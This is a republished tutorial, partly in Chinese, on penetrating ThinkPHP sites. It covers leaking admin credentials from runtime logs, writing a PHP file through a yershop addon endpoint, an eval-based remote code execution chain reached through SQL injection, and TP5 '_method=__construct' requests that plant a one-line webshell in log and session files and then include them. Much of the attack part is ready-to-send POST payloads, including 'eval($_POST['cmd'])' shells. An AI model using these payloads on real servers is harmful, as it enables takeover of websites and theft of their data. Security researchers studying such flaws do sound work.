Home > Article > PHP Framework > Some penetration methods of ThinkPHP
The following is the thinkphp framework tutorial column to introduce you to some penetration methods of ThinkPHP. I hope it will be helpful to friends in need!
ThinkPHP is a fast, compatible and simple lightweight domestic PHP development framework that can support Windows/Unix/Linux and other server environments. The official version requires PHP5.0 or above, and supports MySql, PgSQL, Sqlite Various databases and PDO extensions.
Runtime Log
In the ThinkPHP3 version, the entry file index.php is in the same directory as the application directory and framework directory, and is in the DEBUG enabled state Next, a log file will be generated at runtime, leaking the account and password of some administrators to log in to the backend, etc. The log file naming rules of tp3 are: root directory (or application directory)/Runtime/Logs/Admin/20_08_17.log (first 2 digits of year_month_day.log)
In the tp5 version, the entry file index is in the public directory, which is not in the same directory as the application directory and framework directory. However, some administrators will place the entry file in the application directory, The framework directory is the same directory, and the naming rule for tp5 is:
./runtime/log/202008/17.log (./runtime/log/yearmonth/day.log)
file_put_contents function
In ThinkPHP3, the background sometimes writes configuration files to getshell, so I tend to look for this file_put_contents function globally , and then find a code on the Internet - yershop (the version developed by TP3) for auditing. The background can get the shell by writing files. Search the file_put_contents function globally and find that the build in the controller AddonsController.class.php exists.
It is found that there are two places to write files. The first place here needs to meet the following conditions:
$addon_dir可控,$data可控,$addonModel可控
The second place needs to meet :
$data['has_config'] == 1,$addon_dir可控
Tracing found that $data is obtained from global POST, and everything is controllable, that is, $addon_dir is controllable.
Construct the payload as follows and create an extension in the background.
Click OK to capture the packet. First, it will determine whether the plug-in with the identification name exists. If it does not exist, build access will be executed.
Since the file config.php needs to be written to, $data['has_config'] == 1 is required, and finally the payload is constructed.
Visit: index.php?s=/Admin/Addons/build.html
POST sent:
info%5Bname%5D=Example&info%5Btitle%5D=%E7%A4%BA%E5%88%97&info%5Bversion%5D=0.1&info%5Bauthor%5D=%E6%97%A0%E5%90%8D&info%5Bdescription%5D=%E8%BF%99%E6%98%AF%E4%B8%80%E4%B8%AA%E4%B8%B4%E6%97%B6%E6%8F%8F%E8%BF%B0&info%5Bstatus%5D=1&config=%3C%3Fphp%0D%0Areturn+array(%0D%0A%09'random'%3D%3Earray(%2F%2F%E9%85%8D%E7%BD%AE%E5%9C%A8%E8%A1%A8%E5%8D%95%E4%B8%AD%E7%9A%84%E9%94%AE%E5%90%8D+%2C%E8%BF%99%E4%B8%AA%E4%BC%9A%E6%98%AFconfig%5Brandom%5D%0D%0A%09%09'title'%3D%3E'%E6%98%AF%E5%90%A6%E5%BC%80%E5%90%AF%E9%9A%8F%E6%9C%BA%3A'%2C%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E6%96%87%E5%AD%97%0D%0A%09%09'type'%3D%3E'radio'%2C%09%09+%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E7%B1%BB%E5%9E%8B%EF%BC%9Atext%E3%80%81textarea%E3%80%81checkbox%E3%80%81radio%E3%80%81select%E7%AD%89%0D%0A%09%09'options'%3D%3Earray(%09%09+%2F%2Fselect+%E5%92%8Cradion%E3%80%81checkbox%E7%9A%84%E5%AD%90%E9%80%89%E9%A1%B9%0D%0A%09%09%09'1'%3D%3E'%E5%BC%80%E5%90%AF'%2C%09%09+%2F%2F%E5%80%BC%3D%3E%E6%96%87%E5%AD%97%0D%0A%09%09%09'0'%3D%3E'%E5%85%B3%E9%97%AD'%2C%0D%0A%09%09)%2C%0D%0A%09%09'value'%3D%3E'1'%2C%09%09%09+%2F%2F%E8%A1%A8%E5%8D%95%E7%9A%84%E9%BB%98%E8%AE%A4%E5%80%BC%0D%0A%09)%2C%0D%0A)%3B%0D%0A%09%09%09%09%09&custom_config=&admin_list='model'%3D%3E'Example'%2C%09%09%2F%2F%E8%A6%81%E6%9F%A5%E7%9A%84%E8%A1%A8%0D%0A%09%09%09'fields'%3D%3E'*'%2C%09%09%09%2F%2F%E8%A6%81%E6%9F%A5%E7%9A%84%E5%AD%97%E6%AE%B5%0D%0A%09%09%09'map'%3D%3E''%2C%09%09%09%09%2F%2F%E6%9F%A5%E8%AF%A2%E6%9D%A1%E4%BB%B6%2C+%E5%A6%82%E6%9E%9C%E9%9C%80%E8%A6%81%E5%8F%AF%E4%BB%A5%E5%86%8D%E6%8F%92%E4%BB%B6%E7%B1%BB%E7%9A%84%E6%9E%84%E9%80%A0%E6%96%B9%E6%B3%95%E9%87%8C%E5%8A%A8%E6%80%81%E9%87%8D%E7%BD%AE%E8%BF%99%E4%B8%AA%E5%B1%9E%E6%80%A7%0D%0A%09%09%09'order'%3D%3E'id+desc'%2C%09%09%2F%2F%E6%8E%92%E5%BA%8F%2C%0D%0A%09%09%09'list_grid'%3D%3Earray(+%09%09%2F%2F%E8%BF%99%E9%87%8C%E5%AE%9A%E4%B9%89%E7%9A%84%E6%98%AF%E9%99%A4%E4%BA%86id%E5%BA%8F%E5%8F%B7%E5%A4%96%E7%9A%84%E8%A1%A8%E6%A0%BC%E9%87%8C%E5%AD%97%E6%AE%B5%E6%98%BE%E7%A4%BA%E7%9A%84%E8%A1%A8%E5%A4%B4%E5%90%8D%E5%92%8C%E6%A8%A1%E5%9E%8B%E4%B8%80%E6%A0%B7%E6%94%AF%E6%8C%81%E5%87%BD%E6%95%B0%E5%92%8C%E9%93%BE%E6%8E%A5%0D%0A++++++++++++++++'cover_id%7Cpreview_pic%3A%E5%B0%81%E9%9D%A2'%2C%0D%0A++++++++++++++++'title%3A%E4%B9%A6%E5%90%8D'%2C%0D%0A++++++++++++++++'description%3A%E6%8F%8F%E8%BF%B0'%2C%0D%0A++++++++++++++++'link_id%7Cget_link%3A%E5%A4%96%E9%93%BE'%2C%0D%0A++++++++++++++++'update_time%7Ctime_format%3A%E6%9B%B4%E6%96%B0%E6%97%B6%E9%97%B4'%2C%0D%0A++++++++++++++++'id%3A%E6%93%8D%E4%BD%9C%3A%5BEDIT%5D%7C%E7%BC%96%E8%BE%91%2C%5BDELETE%5D%7C%E5%88%A0%E9%99%A4'%0D%0A++++++++++++)%2C%0D%0A%09%09%09%09%09&custom_adminlist=&has_config=1&config=<?php phpinfo();?>
Successfully write the config.php file, access Addons/Example /config.php.
So, in the source code developed by tp3, it is easy to win the prize by searching globally for file_put_contents.
RCE caused by Auth
In tp3, there is an eval function in the getAuthList method of Auth, follow the code
ThinkPHP\Library\Think\ Auth.class.php.
You need to satisfy the requirement that the $command variable is controllable, and $command is the condition field of [table prefix]_auth_rule, or use the yershop source code To analyze, the table that controls permissions is yershop_auth_rule.
Therefore, to trigger the vulnerability, you need to write malicious code into the condition field. You need to use injection and support pdo to write it in. tp3 is based on pdo To connect to the database, pdo is satisfied here, so you need to find the injection point to getshell.
In the detail method in the file Application\Home\Controller\OrderController.class.php, obtain the id parameter through the I method.
利用pdo修改condition字段
继续分析,怎么调用到getAuthList这个方法的,在Application\Admin\Controller\AdminController.class.php控制器中,调用了checkRule方法,在checkRule方法实列了Auth类,并调用了check方法。
跟进check方法:
在104行调用了我们的getAuthList方法,执行到了eval函数处。要触发rce,从代码中可以看到需要普通用户的权限才会执行到checkRule方法,所以先添加一个新用户并新增一个用户组,给文章管理的权限。
登录这个用户,访问注入修改的路由,成功rce。
SQL注入
在TP3.1.3和TP3.2.3注入都差不多,无非就表达式注入,bind注入,find/select/delete注入,order注入,在之前的文章中,分析过关于tp3.2.3的注入,这里主要是TP5的注入。
ThinkPHP8b378709636b7f3a39d36da6380d0875builder->update
在parseData方法中,进行了sql语句的拼接。
当参数传入数组的时候,下标0为exp时候,直接返回下标为1的参数值,而为inc或者dec时候,通过parseKey方法处理了下标为1的参数值,跟进查看parseKey方法:
protected function parseKey($key, $options = []) { $key = trim($key); if (strpos($key, '$.') && false === strpos($key, '(')) { // JSON字段支持 list($field, $name) = explode('$.', $key); $key = 'json_extract(' . $field . ', \'$.' . $name . '\')'; } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) { list($table, $key) = explode('.', $key, 2); if ('__TABLE__' == $table) { $table = $this->query->getTable(); } if (isset($options['alias'][$table])) { $table = $options['alias'][$table]; } } if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) { $key = '`' . $key . '`'; } if (isset($table)) { if (strpos($table, '.')) { $table = str_replace('.', '`.`', $table); } $key = '`' . $table . '`.' . $key; } return $key; }
然而parseKey并没有对传入的字符进行任何过滤,所以当输入exp,inc,dec,都返回的字符串,为什么参数值为exp的时候不能产生注入,原因是在用input方法传入的时候,要经过filterExp进行过滤。
public function filterExp(&$value) { // 过滤查询特殊字符 if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) { $value .= ' '; } // TODO 其他安全过滤 }
当匹配到exp的时候,就会在exp后面添加一个空格,导致不能同parseKey方法中的exp相等。同样,利用insert方法向数据库插入数据也是同种原理。由于篇幅问题,网上的分析文章也多,之后的注入不想再造轮子了,可以详细看这个师傅的文章:https://github.com/Mochazz/ThinkPHP-Vuln
TP5 rce漏洞
TP5的rce漏洞影响版本:ThinkPHP 5.0.x ~ 5.0.23、ThinkPHP 5.1.x ~ 5.1.31、ThinkPHP 5.2.0beta1
TP5rce的分析网上也比较多了,这里主要说下在TP渗透,php7版本的关于log文件和session文件包含的问题。
runtime文件包含拿shell
先写入一句话到runtime日志中,POST发送。
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['cmd'])?>
runtime的日志文件为./runtime/log/202008/17.log
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202008/17.log&cmd=phpinfo();
session文件包含拿shell
写入session文件
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['cmd'])?>&server[]=1
一般linux下的session文件存储在/var/lib/php/session,session的命名为sess_[PHPSESSID]。
_method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_sf9vlodcl4j4r1bhli2ddnvr32&server[]=1&cmd=phpinfo();
其实也可以用反序列化的点来,只是有点麻烦,需要去调代码。
_method=__construct&filter=unserialize&method=get&server[REQUEST_METHOD]=序列化
反序列化
反序列化点通常都是在代码审计当中被发现的,当unserialize可控时可以触发,但是只光靠unserialize可控很难找到可控点,这时安全研究员Sam Thomas分享了一个关于phar反序列的漏洞,大大增加了反序列化的利用点。由于TP5-6的反序列化分析篇幅比较大,可以直接看下面文章进行深度学习:
Thinkphp5.0.24反序列:https://jfanx1ng.github.io/2020/05/07/ThinkPHP5.0.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
Thinkphp5.1.x反序列:https://jfanx1ng.github.io/2020/05/09/ThinkPHP5.1.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/
Thinkphp6.x反序列:https://jfanx1ng.github.io/2020/05/13/ThinkPHP6.0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
phar反序列化挖掘案列:https://bbs.ichunqiu.com/thread-57947-1-1.html
今天的文章分享,小伙伴们看懂了吗?
The above is the detailed content of Some penetration methods of ThinkPHP. For more information, please follow other related articles on the PHP Chinese website!